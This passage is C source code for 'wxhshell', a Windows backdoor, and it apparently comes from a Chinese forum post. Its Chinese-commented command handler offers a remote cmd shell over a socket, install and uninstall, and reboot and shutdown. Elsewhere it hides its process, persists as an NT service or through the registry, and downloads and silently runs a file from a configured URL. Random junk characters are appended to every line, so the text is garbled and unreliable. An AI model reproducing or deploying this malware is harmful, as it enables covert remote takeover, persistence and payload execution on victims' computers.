  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =C(BZ+-^  
  } ! B`  
  else { l(3PxbT  
VFq\{@- %  
    switch(cmd[0]) { K0'p*[yO/j  
  @$p6w  
  // 帮助 d5 ]-{+V+  
  case '?': { RJ4=AA|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X}={:T+6s  
    break; ]{|l4e4P  
  } "\~>[on  
  // 安装 M`=\ijUwN  
  case 'i': { Fm&f  
    if(Install()) '>bn94$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*-a c  
    else GM^H )8U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !3c+}j-j  
    break; .;bU["fn)  
    } ,B x0  
  // 卸载 =b)!l9TX  
  case 'r': { (yEU9R$I"  
    if(Uninstall()) 71<4q {n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tmoclK-  
    else ?a, `{1m0\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xjxX4_  
    break; Om7 '_}  
    } MdkL_YP}.  
  // 显示 wxhshell 所在路径 \q!TI x  
  case 'p': { WqCER^~'>  
    char svExeFile[MAX_PATH]; f@Ve,i  
    strcpy(svExeFile,"\n\r"); gm:Y@6W  
      strcat(svExeFile,ExeFile); u  XZ;K.  
        send(wsh,svExeFile,strlen(svExeFile),0); 8 f~M6  
    break; ':\bn:;  
    } h6`VU`pPI  
  // 重启 \Yv4 4*I`  
  case 'b': { md9JvbB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yu[MNX ;G  
    if(Boot(REBOOT)) *ZRk)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6khm@}}  
    else { m\=Cw&(  
    closesocket(wsh); RWDPsZC  
    ExitThread(0); H-m).^  
    } JNvgUb'U  
    break; B/~ubw  
    } Gh3f^PWnc  
  // 关机 $b_~  
  case 'd': { YD~(l-?"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &d!ASa  
    if(Boot(SHUTDOWN)) >N~jlr|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :q2RgZE  
    else { 5Ktll~+:#  
    closesocket(wsh); - ikq#L){  
    ExitThread(0); :de4Fje/4y  
    } WdJeh:h  
    break; ?WS.RBe2  
    } 0!axAvBV  
  // 获取shell n:<Xp[;R  
  case 's': { ay{]Vqi9  
    CmdShell(wsh); QS,_=< (  
    closesocket(wsh); \D%n8O  
    ExitThread(0); OMjx,@9  
    break; Z#;\Rb.x7  
  } hn&NypI  
  // 退出 5!6iAS+I  
  case 'x': { _|{pO7x]oG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i MS4<`  
    CloseIt(wsh); 7{rRQ~s&g9  
    break; sv\=/F@n  
    } $qoal   
  // 离开 Y\(?&7Aax  
  case 'q': { puF*WxU)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0V2~  
    closesocket(wsh); p+2%LYR u  
    WSACleanup(); z`dnS]q9  
    exit(1); :`@W`V?6-  
    break; W3MH8z   
        } p5nrPL  
  } tKi ^0vE8  
  } <V8=*n"mR  
qV$0 ";d  
  // 提示信息 VhgcvS@V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s"wz !{G4  
} 0|rdI,z  
  } IPY[x|  
,;=is.h9  
  return; <z wI@i  
}  <j_  
w-wJhc|  
// shell模块句柄 (Y?}'?  
int CmdShell(SOCKET sock) iA"H*0  
{ /'>ck2drjk  
STARTUPINFO si; U}-hV@y  
ZeroMemory(&si,sizeof(si)); s*>B"#En  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DK%@ [D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bde6 ;=oM  
PROCESS_INFORMATION ProcessInfo; -K5u5l}  
char cmdline[]="cmd"; m?1AgsBR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #t">tL  
  return 0; lI[O!Vu Kc  
} ,z$ U=u o  
z&|sks7  
// 自身启动模式 H)+wkR!~  
int StartFromService(void) rAu@`H?  
{ Hn?v  /3  
typedef struct xl@  
{ ~</H>Jd  
  DWORD ExitStatus; <QK2Wc_}-"  
  DWORD PebBaseAddress; 4e|(= W`  
  DWORD AffinityMask; }M(XHw  
  DWORD BasePriority; _^w^tfH]  
  ULONG UniqueProcessId; zhACNz4tJ  
  ULONG InheritedFromUniqueProcessId; 7(zY:9|(  
}   PROCESS_BASIC_INFORMATION; SciEHI#  
]=5D98B  
PROCNTQSIP NtQueryInformationProcess; ~uO9>(?D  
m\|ie8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kQtnT7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I9 jzR~T  
$K~ t'wr  
  HANDLE             hProcess; /}-LaiS  
  PROCESS_BASIC_INFORMATION pbi; &?SU3@3|  
O#b%&s"o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [PU0!W;  
  if(NULL == hInst ) return 0; !~f!O"n)3r  
#_fL[j&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?OWJUmQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TSP#.QY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |?uUw$oh  
d ?OsVT; U  
  if (!NtQueryInformationProcess) return 0; {(`xA,El  
'.tg\]|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +dK;\wT  
  if(!hProcess) return 0; \;Q:a /ur9  
#mcGT\tQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q6N6QI8/  
0$q)uip  
  CloseHandle(hProcess); Yg3emn|a  
kT{d pGU9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gA DF  
if(hProcess==NULL) return 0; " [K>faV  
GMoE,L  
HMODULE hMod; Nc[u?-  
char procName[255]; K(p6P3Z  
unsigned long cbNeeded; %>k$'UWzK  
kT4Tb%7KM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;PX>] r5U0  
lhx]r}@'MC  
  CloseHandle(hProcess); >[gNQJ6  
gLPgh%B4  
if(strstr(procName,"services")) return 1; // 以服务启动 s4{>7`N2  
Ba]^0Y u  
  return 0; // 注册表启动 [5Pin>]z  
} 2t"&>1  
Z\*jt B:  
// 主模块 c o%-d  
int StartWxhshell(LPSTR lpCmdLine) $<s 3;>t  
{ %C(^v)"  
  SOCKET wsl; si3@R?WR6*  
BOOL val=TRUE; =G%L:m*  
  int port=0; i6D66E  
  struct sockaddr_in door; Q"sszz  
4BAG GD2  
  if(wscfg.ws_autoins) Install(); S -KHot ?  
>-Q=o,cl%3  
port=atoi(lpCmdLine); A"~4|`W  
{Zy)p%j8  
if(port<=0) port=wscfg.ws_port; MFm2p?zPm  
<ULydBom  
  WSADATA data; 'z3I*[!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +OC~y:  
q`^ T7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E >lW'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d;O4)8 >  
  door.sin_family = AF_INET; =-|,v*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O4fl$egQU  
  door.sin_port = htons(port); 8P3"$2q  
5]yby"Z?}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { whvvc2  
closesocket(wsl); eUE(vn#  
return 1; #=\nuT'oy  
} /#I~iYPe  
uiIS4S_  
  if(listen(wsl,2) == INVALID_SOCKET) { L9":=  
closesocket(wsl); _iZ_.3 Ip  
return 1; Z</.Ss 4  
} x 2Cp{+}  
  Wxhshell(wsl); x C+TO  
  WSACleanup(); %?z8*G]M  
jQrw^6C  
return 0; EgT?Hvx:  
Tg ~SGAc  
} Pmj%QhOYE  
+1=]93gP  
// 以NT服务方式启动 -{rUE +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y ]6kA5  
{ `PApmS~} .  
DWORD   status = 0; Vmf !0-  
  DWORD   specificError = 0xfffffff; ]ovb!X_  
Cmj+>$')0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "8sB,$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3r-oZ8/n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $;%k:&\f  
  serviceStatus.dwWin32ExitCode     = 0; Th>ff)~ e  
  serviceStatus.dwServiceSpecificExitCode = 0; G"|`&r@  
  serviceStatus.dwCheckPoint       = 0; N-:.z]j#_  
  serviceStatus.dwWaitHint       = 0; %{HeXe  
K]c\3[vR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8*Ke;X~N  
  if (hServiceStatusHandle==0) return; |g,99YIv>  
Js}1_K  
status = GetLastError(); ni`uO<\U  
  if (status!=NO_ERROR) {ZIEIXWb2  
{ >#~>!cv6D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YwnYTt  
    serviceStatus.dwCheckPoint       = 0; oZwu`~h Y  
    serviceStatus.dwWaitHint       = 0; hWD%_"yhd  
    serviceStatus.dwWin32ExitCode     = status; -b$m<\0*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4(D/~OG-6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rK} =<R  
    return; 3P2x%Gp  
  } C 5 xsh  
d !=AS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?3=y]Vb+  
  serviceStatus.dwCheckPoint       = 0; N83c+vs%c  
  serviceStatus.dwWaitHint       = 0; V Bv|7S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oo2CF!Xy  
} <<l1 zEf@  
YgL{*XYAt  
// 处理NT服务事件,比如:启动、停止 eNc>^:&y*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^2)<H7p  
{  xh|<`>5  
switch(fdwControl) &UfP8GE9  
{ RBOg;EJ  
case SERVICE_CONTROL_STOP: iV2v<ap.n  
  serviceStatus.dwWin32ExitCode = 0; !\Vc#dslt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &\ $~  
  serviceStatus.dwCheckPoint   = 0; )wyC8`&-  
  serviceStatus.dwWaitHint     = 0; -"uOh,G}  
  { *r(Qy0(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {U"=}j(  
  } d`9ofw~3=  
  return; z,xGjS P  
case SERVICE_CONTROL_PAUSE: :Fh#"<A&&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IC6r?  
  break; u1;sH{YK>  
case SERVICE_CONTROL_CONTINUE: mr2fNA>kR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dwJnPJ=z  
  break; </]a`h]  
case SERVICE_CONTROL_INTERROGATE: y/>IF|aX  
  break; uF<}zFS  
}; x@#aOf4<U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zw[ #B #  
} as3*49^9  
fR>"d<;T  
// 标准应用程序主函数 jG["#5<?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H[2W(q6  
{ %Hu?syo  
AjD? _DPc  
// 获取操作系统版本 IN7Cpg~9%  
OsIsNt=GetOsVer(); P"f4`q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Oi{7~  
-an~&C5\  
  // 从命令行安装  !U=o<)I  
  if(strpbrk(lpCmdLine,"iI")) Install(); l/-qVAd!q  
9 iV_  
  // 下载执行文件 t$z 5m<8  
if(wscfg.ws_downexe) { pS+hE4D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Te2 C<c  
  WinExec(wscfg.ws_filenam,SW_HIDE); &oxHVZJ  
} Ubm]V{7  
COA*Q  
if(!OsIsNt) { bXi(]5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;a 6Z=LB  
HideProc(); *I.eCMDa  
StartWxhshell(lpCmdLine); (;9j#x  
} hip't@.uE  
else %l[]n;*$  
  if(StartFromService()) sA2esA@C<o  
  // 以服务方式启动 yT|44 D2j  
  StartServiceCtrlDispatcher(DispatchTable); bT15jNa  
else u0F{.fe  
  // 普通方式启动 GBY{O2!3u  
  StartWxhshell(lpCmdLine); w8cbhc  
089v; d 6  
return 0; 'U-8w@\Z  
}
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只看该作者 1 发表于: 2006-10-10
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